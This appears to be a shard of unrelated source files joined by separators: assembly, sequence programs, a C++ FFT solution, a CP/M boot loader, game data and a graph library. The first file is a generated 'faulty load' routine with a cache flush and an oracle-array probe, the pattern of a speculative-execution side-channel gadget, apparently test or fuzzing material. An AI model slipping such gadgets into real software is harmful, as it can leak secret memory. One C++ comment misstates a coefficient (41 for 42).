37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rax
push %rbp
push %rbx
push %rdi
push %rdx
lea addresses_WC_ht+0x3211, %r10
nop
nop
nop
nop
nop
xor $19749, %rbx
movups (%r10), %xmm5
vpextrq $1, %xmm5, %rdi
xor %rdx, %rdx
lea addresses_A_ht+0x3d41, %rbp
clflush (%rbp)
nop
nop
nop
xor $46557, %rax
movb $0x61, (%rbp)
nop
and %rax, %rax
lea addresses_D_ht+0x15400, %rbp
nop
nop
cmp $49433, %r15
movb (%rbp), %r10b
nop
nop
nop
nop
nop
add $31528, %rbp
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rdi
// Faulty Load
lea addresses_A+0x4a11, %r8
nop
cmp %rdi, %rdi
vmovups (%r8), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r13
lea oracles, %r8
and $0xff, %r13
shlq $12, %r13
mov (%r8,%r13,1), %r13
pop %rdi
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'}
{'00': 10}
00 00 00 00 00 00 00 00 00 00
*/
|
; size_t balloc_blockcount(unsigned int queue)
SECTION code_alloc_balloc
PUBLIC _balloc_blockcount
EXTERN asm_balloc_blockcount
_balloc_blockcount:
pop af
pop hl
push hl
push af
jp asm_balloc_blockcount
|
#include <bits/stdc++.h>
using namespace std;
#define READ(f) freopen(f, "r", stdin)
#define WRITE(f) freopen(f, "w", stdout)
#define MP(x, y) make_pair(x, y)
#define PB(x) push_back(x)
#define FOR(i,L,R) for (int i = (int)(L); i <= (int)(R); i++)
#define ROF(i,L,R) for (int i = (int)(L); i >= (int)(R); i--)
#define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++)
#define ALL(p) p.begin(),p.end()
#define ALLR(p) p.rbegin(),p.rend()
#define SET(p) memset(p, -1, sizeof(p))
#define CLR(p) memset(p, 0, sizeof(p))
#define MEM(p, v) memset(p, v, sizeof(p))
#define getI(a) scanf("%d", &a)
#define getII(a,b) scanf("%d%d", &a, &b)
#define getIII(a,b,c) scanf("%d%d%d", &a, &b, &c)
#define getL(a) scanf("%lld",&a)
#define getLL(a,b) scanf("%lld%lld",&a,&b)
#define getLLL(a,b,c) scanf("%lld%lld%lld",&a,&b,&c)
#define getC(n) scanf("%c",&n)
#define getF(n) scanf("%lf",&n)
#define getS(n) scanf("%s",n)
#define bitCheck(N,in) ((bool)(N&(1<<(in))))
#define bitOff(N,in) (N&(~(1<<(in))))
#define bitOn(N,in) (N|(1<<(in)))
#define bitFlip(a,k) (a^(1<<(k)))
#define bitCount(a) __builtin_popcount(a)
#define bitCountLL(a) __builtin_popcountll(a)
#define bitLeftMost(a) (63-__builtin_clzll((a)))
#define bitRightMost(a) (__builtin_ctzll(a))
#define UNIQUE(V) (V).erase(unique((V).begin(),(V).end()),(V).end())
#define vi vector < int >
#define vii vector < vector < int > >
#define pii pair< int, int >
#define ff first
#define ss second
#define ll long long
#define ull unsigned long long
#define sf scanf
#define pf printf
#define FMT(...) (sprintf(CRTBUFF, __VA_ARGS__)?CRTBUFF:0)
char CRTBUFF[30000];
#ifdef dipta007
#define debug(args...) {cerr<<"Debug: "; dbg,args; cerr<<endl;}
#define trace(...) __f(#__VA_ARGS__, __VA_ARGS__)
template <typename Arg1>
void __f(const char* name, Arg1&& arg1){
cerr << name << " : " << arg1 << std::endl;
}
template <typename Arg1, typename... Args>
void __f(const char* names, Arg1&& arg1, Args&&... args){
const char* comma = strchr(names + 1, ',');cerr.write(names, comma - names) << " : " << arg1<<" | ";__f(comma+1, args...);
}
#else
#define debug(args...) /// Just strip off all debug tokens
#define trace(...) ///yeeeee
#endif
struct debugger{
template<typename T> debugger& operator , (const T& v){
cerr<<v<<" ";
return *this;
}
}dbg;
const double EPS = 1e-9;
const int INF = 0x7f7f7f7f;
const double PI=acos(-1.0);
// g++ -g -O2 -std=gnu++11 A.cpp
// ./a.out
///****************** template ends here ****************
int t, n, m;
/***
* Multiply (7x^2 + 8x^1 + 9x^0) with (6x^1 + 5x^0)
* ans = 41x^3 + 83x^2 + 94x^1 + 45x^0
* A = {9, 8, 7}
* B = {5, 6}
* V = multiply(A,B)
* V = {45, 94, 83, 42}
***/
/*** Tricks
* Use vector < bool > if you need to check only the status of the sum
* Use bigmod if the power is over same polynomial && power is big
* Use long double if you need more precision
* Use long long for overflow
***/
using cd = complex<double>;
void fft(vector<cd> & a, bool invert) {
int n = a.size();
for (int i = 1, j = 0; i < n; i++) {
int bit = n >> 1;
for (; j & bit; bit >>= 1)
j ^= bit;
j ^= bit;
if (i < j)
swap(a[i], a[j]);
}
for (int len = 2; len <= n; len <<= 1) {
double ang = 2 * PI / len * (invert ? -1 : 1);
cd wlen(cos(ang), sin(ang));
for (int i = 0; i < n; i += len) {
cd w(1);
for (int j = 0; j < len / 2; j++) {
cd u = a[i+j], v = a[i+j+len/2] * w;
a[i+j] = u + v;
a[i+j+len/2] = u - v;
w *= wlen;
}
}
}
if (invert) {
for (cd & x : a)
x /= n;
}
}
vi multiply(vi const& a, vi const& b) {
vector<cd> fa(a.begin(), a.end()), fb(b.begin(), b.end());
int n = 1;
while (n < a.size() + b.size())
n <<= 1;
fa.resize(n);
fb.resize(n);
fft(fa, false);
fft(fb, false);
for (int i = 0; i < n; i++)
fa[i] *= fb[i];
fft(fa, true);
vi result(n);
for (int i = 0; i < n; i++)
result[i] = round(fa[i].real());
/********** For Base 10 Multiplication **********/
// int carry = 0;
// for (int i = 0; i < n; i++){
// result[i] += carry;
// carry = result[i] / 10;
// result[i] %= 10;
// }
return result;
}
inline int shift(int x)
{
return x + 20000;
}
inline int revert(int x)
{
return x - 60000;
}
#define MX 20000*6+4
int main() {
#ifdef dipta007
//READ("in.txt");
//WRITE("out.txt");
#endif // dipta007
// ios_base::sync_with_stdio(0);cin.tie(0);
int n;
while(~getI(n))
{
vi v;
int mx = -INF;
vi a(MX, 0); ///, _2a(MX, 0), _a(MX,0), _3a(MX,0);
FOR(i,1,n)
{
int x;
getI(x);
v.PB( shift(x) );
mx = max(mx, v.back());
}
FOR(i,0,n-1) a[ v[i] ] += 1;
trace(MX);
vi a2 = multiply( a, a ); /// has (i, i)
vi a3 = multiply( a2, a); /// has (i, i, i) & (i, i, j)
vi aintoa(MX, 0);
FOR(i,0,n-1)
{
ll kk = v[i] + v[i];
aintoa[kk] += 1;
}
vi aintoab = multiply(aintoa, a); ///has (i,i,j) and (i,i,i)
FOR(i, 0, shift(mx+mx+mx))
{
a3[i] -= 3*aintoab[i];
}
FOR(i,0,n-1)
{
int kk = v[i] + v[i] + v[i];
a3[kk] += 2;
}
trace(aintoab.size());
FOR(i,0,shift(mx+mx+mx))
{
// a3[i] -= aintoab[i];
if(a3[i] > 0) trace(revert(i), a3[i]);
if(a3[i] > 0)
pf("%d : %d\n", revert(i), a3[i]/6);
}
}
return 0;
}
|
DEVICE ZXSPECTRUM48
OPT --syntax=F
DEFINE TEST_BUILD
org #4000
;INCBIN "EXOLON.SCR",0
org #7070
int_handler:
ei
reti
org #7E00
; INT IM2 vector table
.257 db #70 ; by Z80 user manual int vector is I * 256 + (D & 0xFE)
; but by other references and by T80/A-Z80 implementation int vector is I * 256 + D
; so we just play safe and use symmetric int handler address and vector table with one extra byte
org #8000
app_begin:
di
call menu_init
ld a, #7e ; set our interrupt table address (#7Fxx)
ld i, a ; ...
im 2
ei
.loop:
halt
call input_process
call menu_process
ld a, #01
out #fe, a
ld a, (var_exit_flag)
or a
jr z, .loop
save_variables:
ret
includes:
include config.asm
include draw.asm
include input.asm
include pause.asm
include menu.asm
include menu_structure.asm
include font.asm
include strings.asm
variables:
include variables.asm
DISPLAY "Application size: ",/D,$-app_begin
CSPECTMAP "main_test.map"
SAVESNA "main_test.sna",app_begin
SAVEBIN "main_test.bin",#8000,#4000
|
; A136687: Number of palindromes in the range [0,n] inclusive.
; 1,2,3,4,5,6,7,8,9,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,19
lpb $0
mov $2,$0
sub $0,1
seq $2,136522 ; a(n) = 1 if n is a palindrome, otherwise 0.
add $1,$2
lpe
add $1,1
mov $0,$1
|
// Copyright (c) 2011-2021 Columbia University, System Level Design Group
// SPDX-License-Identifier: MIT
#ifndef __ESP_CONFIG_HPP__
#define __ESP_CONFIG_HPP__
#include "core/accelerators/esp_accelerator.hpp"
class esp_config : public sc_module
{
public:
// Input ports
// Clock signal
sc_in<bool> clk;
// Reset signal
sc_in<bool> rst;
// Accelerator configuration
sc_in<conf_info_t> conf_info;
// Accelerator start signal
sc_in<bool> conf_done;
// Constructor
SC_HAS_PROCESS(esp_config);
esp_config(const sc_module_name &name)
: sc_module(name)
{
SC_CTHREAD(config_accelerator, clk.pos());
reset_signal_is(rst, false);
// set_stack_size(0x400000);
}
// Process
// Configure the accelerator
virtual void config_accelerator() = 0;
// Function
// Binding the accelerator
template <size_t _DMA_WIDTH_> inline void
bind_with(esp_accelerator<_DMA_WIDTH_> &accelerator);
};
// Implementation
#include "esp_config.i.hpp"
#endif // __ESP_CONFIG_HPP__
|
; A330045: Expansion of e.g.f. exp(x) / (1 - x^4).
; Submitted by Christian Krause
; 1,1,1,1,25,121,361,841,42001,365905,1819441,6660721,498971881,6278929801,43710250585,218205219961,21795091762081,358652470233121,3210080802962401,20298322381652065,2534333270094778681,51516840824285500441,563561785768079119561
mov $2,$0
add $0,1
lpb $0
sub $0,1
mov $3,$2
sub $3,$0
mul $1,$3
mov $5,$0
mov $7,3
mov $8,3
lpb $7
mov $6,$5
mod $6,2
add $4,$6
div $5,2
div $8,2
mov $7,$8
lpe
cmp $4,0
add $1,$4
lpe
mov $0,$1
|
; A059827: Cubes of triangular numbers: (n*(n+1)/2)^3.
; 1,27,216,1000,3375,9261,21952,46656,91125,166375,287496,474552,753571,1157625,1728000,2515456,3581577,5000211,6859000,9261000,12326391,16194277,21024576,27000000,34328125,43243551,54010152,66923416,82312875,100544625,122023936,147197952,176558481,210644875,250047000,295408296,347428927,406869021,474552000,551368000,638277381,736314327,846590536,970299000,1108717875,1263214441,1435249152,1626379776,1838265625,2072671875,2331473976,2616662152,2930345991,3274759125,3652264000,4065356736,4516672077
add $0,2
bin $0,2
pow $0,3
|
; CP/M 2.2 boot-loader for Z80-Simulator
;
; Copyright (C) 1988-2007 by Udo Munk
;
ORG 0 ;mem base of boot
;
MSIZE EQU 64 ;mem size in kbytes
;
BIAS EQU (MSIZE-20)*1024 ;offset from 20k system
CCP EQU 3400H+BIAS ;base of the ccp
BIOS EQU CCP+1600H ;base of the bios
BIOSL EQU 0300H ;length of the bios
BOOT EQU BIOS
SIZE EQU BIOS+BIOSL-CCP ;size of cp/m system
SECTS EQU SIZE/128 ;# of sectors to load
;
; I/O ports
;
CONDAT EQU 1 ;console data port
DRIVE EQU 10 ;fdc-port: # of drive
TRACK EQU 11 ;fdc-port: # of track
SECTOR EQU 12 ;fdc-port: # of sector
FDCOP EQU 13 ;fdc-port: command
FDCST EQU 14 ;fdc-port: status
DMAL EQU 15 ;dma-port: dma address low
DMAH EQU 16 ;dma-port: dma address high
;
JP COLD
;
ERRMSG: DEFM 'BOOT: error booting'
DEFB 13,10,0
;
; begin the load operation
;
COLD: LD BC,2 ;b=track 0, c=sector 2
LD D,SECTS ;d=# sectors to load
LD HL,CCP ;base transfer address
XOR A ;select drive A
OUT (DRIVE),A
;
; load the next sector
;
LSECT: LD A,B ;set track
OUT (TRACK),A
LD A,C ;set sector
OUT (SECTOR),A
LD A,L ;set dma address low
OUT (DMAL),A
LD A,H ;set dma address high
OUT (DMAH),A
XOR A ;read sector
OUT (FDCOP),A
IN A,(FDCST) ;get status of fdc
OR A ;read successful ?
JP Z,CONT ;yes, continue
LD HL,ERRMSG ;no, print error
PRTMSG: LD A,(HL)
OR A
JP Z,STOP
OUT (CONDAT),A
INC HL
JP PRTMSG
STOP: DI
HALT ;and halt cpu
;
CONT:
;go to next sector if load is incomplete
DEC D ;sects=sects-1
JP Z,BOOT ;head for the bios
;
; more sectors to load
;
; we aren't using a stack, so use <sp> as scratch register
; to hold the load address increment
;
LD SP,128 ;128 bytes per sector
ADD HL,SP ;<hl> = <hl> + 128
;
INC C ;sector = sector + 1
LD A,C
CP 27 ;last sector of track ?
JP C,LSECT ;no, go read another
;
; end of track, increment to next track
;
LD C,1 ;sector = 1
INC B ;track = track + 1
JP LSECT ;for another group
;
END ;of boot loader
|
#include "GraphLib.h"
namespace GraphLib {
Node::Node() : layout_pos_x(0), layout_pos_y(0), sort_importance(0), optimized(false) {
predecessor = NULL;
sz = Size(60, 40);
shape = SHAPE_ELLIPSE;
line_clr = Red();
fill_clr = White();
line_width = 1;
distance = 1;
point.x = 0;
point.y = 0;
layout_force_x = 0;
layout_force_y = 0;
}
Node::Node(const Node& src) {
predecessor = NULL;
#define COPY(x) x = src.x
COPY(id);
COPY(line_clr);
COPY(fill_clr);
COPY(point);
COPY(layout_pos_x);
COPY(layout_pos_y);
COPY(layout_force_x);
COPY(layout_force_y);
COPY(distance);
COPY(line_width);
COPY(shape);
COPY(sort_importance);
COPY(sz);
COPY(optimized);
edges <<= edges;
#undef COPY
}
Node& Node::SetLabel(String s) {
label = s;
sz = MinFactor(GetTextSize(label, Arial(12)), 4, 3);
return *this;
}
Graph::Graph() {
layout_max_x = 1920;
layout_min_x = 320;
layout_max_y = 1080;
layout_min_y = 240;
fill_clr = White();
border_clr = Red();
line_clr = Black();
node_line_width = 2;
edge_line_width = 1;
}
Node& Graph::AddNode(String id, Node* copy_data_from) {
if (nodes.Find(id) != -1)
return nodes.Get(id);
Node& n = !copy_data_from ? nodes.Add(id) : nodes.Add(id, *copy_data_from);
if (!copy_data_from) {
n.fill_clr = fill_clr;
n.line_clr = border_clr;
n.line_width = node_line_width;
}
n.id = id;
n.sz = MinFactor(GetTextSize(id, Arial(12)), 4, 3); // one time only
return n;
}
Edge& Graph::AddEdge(int source, int target, double weight, Edge* copy_data_from) {
return AddEdge(IntStr(source), IntStr(target), weight, copy_data_from);
}
Edge& Graph::AddEdge(String source, String target, double weight, Edge* copy_data_from) {
ASSERT_(weight > 0.0, "Only positive weight is allowed");
Node& source_node = AddNode(source);
Node& target_node = AddNode(target);
Edge& e = !copy_data_from ? edges.Add() : edges.Add(*copy_data_from);
if (!copy_data_from) {
e.stroke_clr = line_clr;
e.line_width = edge_line_width;
}
e.weight = weight;
e.source = &source_node;
e.target = &target_node;
source_node.edges.Add(&e);
target_node.edges.Add(&e);
return e;
}
void Graph::RemoveNode(String id) {
int i = nodes.Find(id);
Node& node = nodes[i];
// Delete node from all the edges
for(int i = 0; i < edges.GetCount(); i++) {
Edge& edge = edges[i];
if (edge.source == &node || edge.target == &node)
RemoveEdge(edge);
}
// Delete node from index
nodes.Remove(i);
}
void Graph::RemoveEdge(Edge& source_edge) {
Edge* found = NULL;
int found_pos = -1;
Node* target = source_edge.target;
Node* source = source_edge.source;
// Find and remove edge
for(int i = 0; i < edges.GetCount(); i++) {
Edge& edge = edges[i];
if (edge.source->id == source->id && edge.target->id == target->id) {
found = &edge;
found_pos = i;
break;
}
}
if (found) {
for(int i = 0; i < found->source->edges.GetCount(); i++) {
if (found->source->edges[i] == found) {
found->source->edges.Remove(i);
i--;
}
}
for(int i = 0; i < found->target->edges.GetCount(); i++) {
if (found->target->edges[i] == found) {
found->target->edges.Remove(i);
i--;
}
}
edges.Remove(found_pos);
}
}
void Graph::Clear() {
nodes.Clear();
edges.Clear();
}
}
|
; A040609: Continued fraction for sqrt(635).
; 25,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50
sub $0,1
mod $0,2
mul $0,11
add $0,2
pow $0,2
mov $1,$0
div $1,17
mul $1,5
add $1,5
|
CeruleanCaveB1FWildMons:
def_grass_wildmons 25 ; encounter rate
db 67, EEVEE
db 68, FLAREON
db 68, JOLTEON
db 68, VAPOREON
db 74, HITMONCHAN
db 74, HITMONLEE
db 71, OMANYTE
db 71, KABUTO
db 71, AERODACTYL
db 75, PORYGON
end_grass_wildmons
def_water_wildmons 0 ; encounter rate
end_water_wildmons
|
bits 16
; System instructions
mov cr0, eax
mov eax, cr0
mov ecx, cr2
mov cr2, ecx
mov cr4, esi
mov esi, cr4
mov dr0, eax
mov eax, dr0
mov dr1, esi
mov esi, dr1
mov dr7, ecx
mov ecx, dr7
lidt [bx]
lgdt [bx]
sidt [bx]
sgdt [bx]
ltr ax
str si
lldt [bx]
sldt [bx]
rdmsr
wrmsr
rdtsc
rdtscp
verw ax
verr si
lsl eax, eax
lar esi, edi
lmsw cx
smsw sp
invlpg [eax]
invpcid eax, [ebp]
clac
stac
clts
invd
wbinvd
db 0x0F, 0x01, 0xE8 ; serialize |
;
; Enterprise 64/128 clock()
;
; stefano 5/4/2007
;
; ------
; $Id: clock.asm,v 1.1 2011/03/18 07:12:41 stefano Exp $
;
XLIB clock
.clock
rst 30h
defb 32
; C hours 0 .. 23 (BCD)
; D minutes 0 .. 59 (BCD)
; E seconds 0 .. 59 (BCD)
; let's copy the result in dehl
; in a quick but wrong way..
ex de,hl
ld d,0
ld e,c
ret
|
; A142176: Primes congruent to 29 mod 39.
; Submitted by Jon Maiga
; 29,107,263,419,653,809,887,1277,1433,1511,1667,1823,1901,1979,2213,2447,2837,3461,3539,3617,3851,3929,4007,4241,4397,4787,4943,5021,5099,5333,5801,5879,6113,6269,6581,6659,6737,6971,7127,7283,7517,7673,7829,7907,8219,8297,8609,8999,9311,9467,9623,9857,10091,10169,10247,10559,10949,11027,11261,11807,12041,12119,12197,12743,12821,12899,13367,13523,13679,13757,13913,14303,14537,14771,15083,15161,15473,15551,15629,16097,16253,16487,17033,17189,17579,17657,17891,18047,18593,18671,18749,19139,19373
mov $1,16
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $1,2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,41
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mul $1,2
mov $0,$1
sub $0,81
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module music_track_101__Data
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _music_track_101__Data
.globl ___bank_music_track_101__Data
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
_order_cnt:
.db #0x10 ; 16
_P0:
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
_P1:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
